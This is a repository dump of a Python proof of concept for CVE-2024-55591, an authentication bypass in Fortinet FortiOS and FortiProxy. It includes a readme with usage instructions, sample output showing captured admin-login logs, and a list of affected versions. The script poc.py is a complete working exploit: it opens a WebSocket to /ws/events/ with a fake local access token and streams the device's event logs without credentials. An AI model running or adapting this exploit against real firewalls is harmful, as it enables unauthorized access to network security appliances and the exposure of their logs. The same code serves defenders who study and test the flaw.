├── .gitignore ├── images ├── image-20250121202644232.png └── image-20250121202823393.png ├── readme.md └── poc.py /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /images/image-20250121202644232.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sysirq/fortios-auth-bypass-poc-CVE-2024-55591/HEAD/images/image-20250121202644232.png -------------------------------------------------------------------------------- /images/image-20250121202823393.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sysirq/fortios-auth-bypass-poc-CVE-2024-55591/HEAD/images/image-20250121202823393.png -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-55591 2 | 3 | A Fortinet FortiOS Authentication Bypass Vulnerable PoC 4 | 5 | # Description 6 | 7 | Use this poc,you can bypass authentication and see system log 8 | 9 | # USEAGE 10 | 11 | ``` 12 | sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 poc.py 13 | usage: poc.py [-h] --target TARGET [--port PORT] 14 | poc.py: error: the following arguments are required: --target/-t 15 | ``` 16 | 17 | # Demo 18 | 19 | ![image-20250121202644232](images/image-20250121202644232.png) 20 | 21 | 22 | 23 | ![image-20250121202823393](images/image-20250121202823393.png) 24 | 25 | 26 | 27 | # poc output 28 | 29 | 30 | 31 | ``` 32 | sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 poc.py -t 192.168.182.188 -p 443 33 | WebSocket handshake successful! 34 | {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 22, 'payload_data': b'{"type":"initialized"}'} 35 | {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 578, 'payload_data': b'{"type":"eventLog","payload":{"id":32002,"name":"LOG_ID_ADMIN_LOGIN_FAIL","vdom":"root","log":{"date":"2025-01-21","time":"04:25:33","eventtime":"1737462333650070902","tz":"-0800","logid":"0100032002","type":"event","subtype":"system","level":"alert","vd":"root","logdesc":"Admin login failed","sn":"0","user":"asdasd","ui":"https(192.168.182.135)","method":"https","srcip":"192.168.182.135","dstip":"192.168.182.188","action":"login","status":"failed","reason":"name_invalid","msg":"Administrator asdasd login failed from https(192.168.182.135) because of invalid user name"}}}'} 36 | 37 | 38 | 39 | {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 360, 'payload_data': b'{"type":"eventLog","payload":{"id":41001,"name":"LOG_ID_UPD_FGT_FAIL","vdom":"root","log":{"date":"2025-01-21","time":"04:26:33","eventtime":"1737462393458974985","tz":"-0800","logid":"0100041001","type":"event","subtype":"system","level":"critical","vd":"root","logdesc":"FortiGate update failed","status":"update","msg":"Fortigate scheduled update failed"}}}'} 40 | 41 | 42 | {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 593, 'payload_data': b'{"type":"eventLog","payload":{"id":32001,"name":"LOG_ID_ADMIN_LOGIN_SUCC","vdom":"root","log":{"date":"2025-01-21","time":"04:27:25","eventtime":"1737462444847679040","tz":"-0800","logid":"0100032001","type":"event","subtype":"system","level":"information","vd":"root","logdesc":"Admin login successful","sn":"1737462444","user":"admin","ui":"https(192.168.182.135)","method":"https","srcip":"192.168.182.135","dstip":"192.168.182.188","action":"login","status":"success","reason":"none","profile":"super_admin","msg":"Administrator admin logged in successfully from https(192.168.182.135)"}}}'} 43 | {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 610, 'payload_data': b'{"type":"eventLog","payload":{"id":40704,"name":"LOG_ID_EVENT_SYS_PERF","vdom":"root","log":{"date":"2025-01-21","time":"04:28:10","eventtime":"1737462490052966824","tz":"-0800","logid":"0100040704","type":"event","subtype":"system","level":"notice","vd":"root","logdesc":"System performance statistics","action":"perf-stats","cpu":"0","mem":"7","totalsession":"10","disk":"1","bandwidth":"12/2","setuprate":"0","disklograte":"0","fazlograte":"0","freediskstorage":"28521","sysuptime":"7221","waninfo":"N/A","msg":"Performance statistics: average CPU: 0, memory: 7, concurrent sessions: 10, setup-rate: 0"}}}'} 44 | ``` 45 | 46 | 47 | # exploit demo 48 | 49 | https://github.com/sysirq/fortios-auth-bypass-exploit-CVE-2024-55591 50 | 51 | # Affected Versions 52 | 53 | - FortiOS 7.0.0 through 7.0.16 54 | - FortiProxy 7.0.0 through 7.0.19 55 | - FortiProxy 7.2.0 through 7.2.12 56 | 57 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | from uuid import uuid4 4 | from datetime import datetime, timedelta 5 | from pwn import * 6 | import requests 7 | import random 8 | import argparse 9 | import ssl 10 | import socket 11 | import threading 12 | import http.client 13 | import re 14 | import urllib.parse 15 | import time 16 | import hashlib 17 | import math 18 | import random 19 | import string 20 | import struct 21 | import subprocess 22 | import json 23 | 24 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 25 | 26 | HOST = "192.168.182.188" 27 | PORT = 443 28 | GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" 29 | 30 | 31 | CIPHERS = "ECDHE-RSA-AES256-SHA@SECLEVEL=0" 32 | context = ssl.create_default_context() 33 | context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED 34 | context.set_ciphers(CIPHERS) 35 | context.check_hostname = False 36 | context.verify_mode = ssl.CERT_NONE 37 | 38 | def create_ssl_socket(): 39 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | sock.connect((HOST, PORT)) 41 | ssl_sock = context.wrap_socket(sock) 42 | return ssl_sock 43 | 44 | def try_read_response(sock) -> bytes: 45 | def read_or_raise(n): 46 | read = sock.read(n) 47 | if not read: 48 | raise RuntimeError(f"Unable to read response headers: {headers}") 49 | return read 50 | 51 | count = 0 52 | max_count = 10 53 | while not (headers := sock.read(1)): 54 | count += 1 55 | time.sleep(0.1) 56 | if count == max_count: 57 | raise RuntimeError(f"Unable to read response headers: {headers}") 58 | 59 | while b"\r\n\r\n" not in headers: 60 | headers += read_or_raise(100) 61 | 62 | return headers 63 | 64 | def upgrade_http_to_websocket_req(sock, path: str,websocket_key) -> bytes: 65 | request = ( 66 | f"GET {path} HTTP/1.1\r\n" 67 | f"Host: {HOST}:{PORT}\r\n" 68 | f"Connection: keep-alive, Upgrade\r\n" 69 | f"Sec-WebSocket-Version: 13\r\n" 70 | f"Sec-WebSocket-Key: {websocket_key}\r\n" 71 | f"Upgrade: websocket\r\n" 72 | f"\r\n" 73 | ) 74 | sock.sendall(request.encode()) 75 | return try_read_response(sock) 76 | 77 | def generate_websocket_key(): 78 | return base64.b64encode(bytes(''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789') for i in range(16)]), 'utf-8')).decode('utf-8') 79 | 80 | def create_websocket(): 81 | sk = create_ssl_socket() 82 | websocket_key = generate_websocket_key() 83 | response_header = upgrade_http_to_websocket_req(sk,"/ws/events/?local_access_token=a5a5a5a5a5a5adasda8sd8sd8ewerfgfg",websocket_key) 84 | 85 | if "HTTP/1.1 101 Switching Protocols" not in response_header.decode("utf-8"): 86 | raise Exception("WebSocket handshake failed!") 87 | 88 | accept_key = None 89 | for line in response_header.decode("utf-8").split('\r\n'): 90 | if line.startswith('Sec-WebSocket-Accept'): 91 | accept_key = line.split(':')[1].strip() 92 | break 93 | 94 | expected_accept_key = base64.b64encode(hashlib.sha1((websocket_key + GUID).encode('utf-8')).digest()).decode('utf-8') 95 | 96 | if accept_key != expected_accept_key: 97 | raise Exception("WebSocket handshake validation failed!") 98 | 99 | print("WebSocket handshake successful!") 100 | return sk 101 | 102 | def parse_websocket_frame(frame): 103 | first_byte = frame[0] 104 | second_byte = frame[1] 105 | 106 | # FIN, RSV1, RSV2, RSV3, Opcode 107 | fin = (first_byte >> 7) & 0x01 108 | rsv1 = (first_byte >> 6) & 0x01 109 | rsv2 = (first_byte >> 5) & 0x01 110 | rsv3 = (first_byte >> 4) & 0x01 111 | opcode = first_byte & 0x0F 112 | 113 | # Mask and Payload length 114 | mask = (second_byte >> 7) & 0x01 115 | payload_length = second_byte & 0x7F 116 | 117 | offset = 2 118 | if payload_length == 126: 119 | payload_length = struct.unpack('>H', frame[offset:offset + 2])[0] 120 | offset += 2 121 | elif payload_length == 127: 122 | payload_length = struct.unpack('>Q', frame[offset:offset + 8])[0] 123 | offset += 8 124 | 125 | masking_key = frame[offset:offset + 4] if mask else None 126 | if mask: 127 | offset += 4 128 | 129 | payload_data = frame[offset:offset + payload_length] 130 | 131 | if mask: 132 | payload_data = bytes([payload_data[i] ^ masking_key[i % 4] for i in range(len(payload_data))]) 133 | 134 | return { 135 | 'fin': fin, 136 | 'rsv': (rsv1, rsv2, rsv3), 137 | 'opcode': opcode, 138 | 'mask': mask, 139 | 'payload_length': payload_length, 140 | 'payload_data': payload_data 141 | } 142 | 143 | def receive_websocket_frame(sock): 144 | frame_header = sock.read(2) 145 | if len(frame_header) < 2: 146 | return Exception("Not valid websocket data!") 147 | 148 | frame = frame_header 149 | payload_length = frame[1] & 0x7F 150 | if payload_length == 126: 151 | frame += sock.read(2) 152 | payload_length = struct.unpack(">H", frame[2:4])[0] 153 | elif payload_length == 127: 154 | frame += sock.read(8) 155 | payload_length = struct.unpack(">Q", frame[2:10])[0] 156 | 157 | frame += sock.read(payload_length) 158 | 159 | return parse_websocket_frame(frame) 160 | 161 | def generate_masking_key(): 162 | return bytes([random.randint(0, 255) for _ in range(4)]) 163 | 164 | def send_websocket_frame(sock, payload_data, opcode=0x1): 165 | payload_length = len(payload_data) 166 | 167 | first_byte = 0b10000000 | (opcode & 0x0F) 168 | second_byte = 0b10000000 # 默认 Mask = 1 169 | 170 | if payload_length <= 125: 171 | header = bytearray([first_byte, second_byte | (payload_length & 0x7F)]) 172 | header.extend(generate_masking_key()) 173 | masked_payload = bytes([payload_data[i] ^ header[2 + (i % 4)] for i in range(payload_length)]) 174 | frame = header + masked_payload 175 | elif payload_length >= 126 and payload_length <= 65535: 176 | header = bytearray([first_byte, second_byte | 0x7E]) 177 | header.extend(struct.pack('>H', payload_length)) 178 | header.extend(generate_masking_key()) 179 | masked_payload = bytes([payload_data[i] ^ header[4 + (i % 4)] for i in range(payload_length)]) 180 | frame = header + masked_payload 181 | elif payload_length > 65535: 182 | header = bytearray([first_byte, second_byte | 0x7F]) 183 | header.extend(struct.pack('>Q', payload_length)) 184 | header.extend(generate_masking_key()) 185 | masked_payload = bytes([payload_data[i] ^ header[10 + (i % 4)] for i in range(payload_length)]) 186 | frame = header + masked_payload 187 | 188 | sock.send(frame) 189 | 190 | def main(): 191 | global HOST 192 | global PORT 193 | 194 | parser = argparse.ArgumentParser(description='CVE-2024-55591 poc') 195 | parser.add_argument('--target', '-t', type=str, help='IP address of the target', required=True) 196 | parser.add_argument('--port', '-p', type=int, help='Port of the target', required=False, default=443) 197 | args = parser.parse_args() 198 | HOST = args.target 199 | PORT = args.port 200 | 201 | sk = create_websocket() 202 | data = receive_websocket_frame(sk) 203 | print(data) 204 | 205 | send_websocket_frame(sk,json.dumps({"type":"eventLogSubscribe","payload":"*"}).encode()) 206 | while True: 207 | data = receive_websocket_frame(sk) 208 | print(data) 209 | 210 | if __name__ == "__main__": 211 | main() --------------------------------------------------------------------------------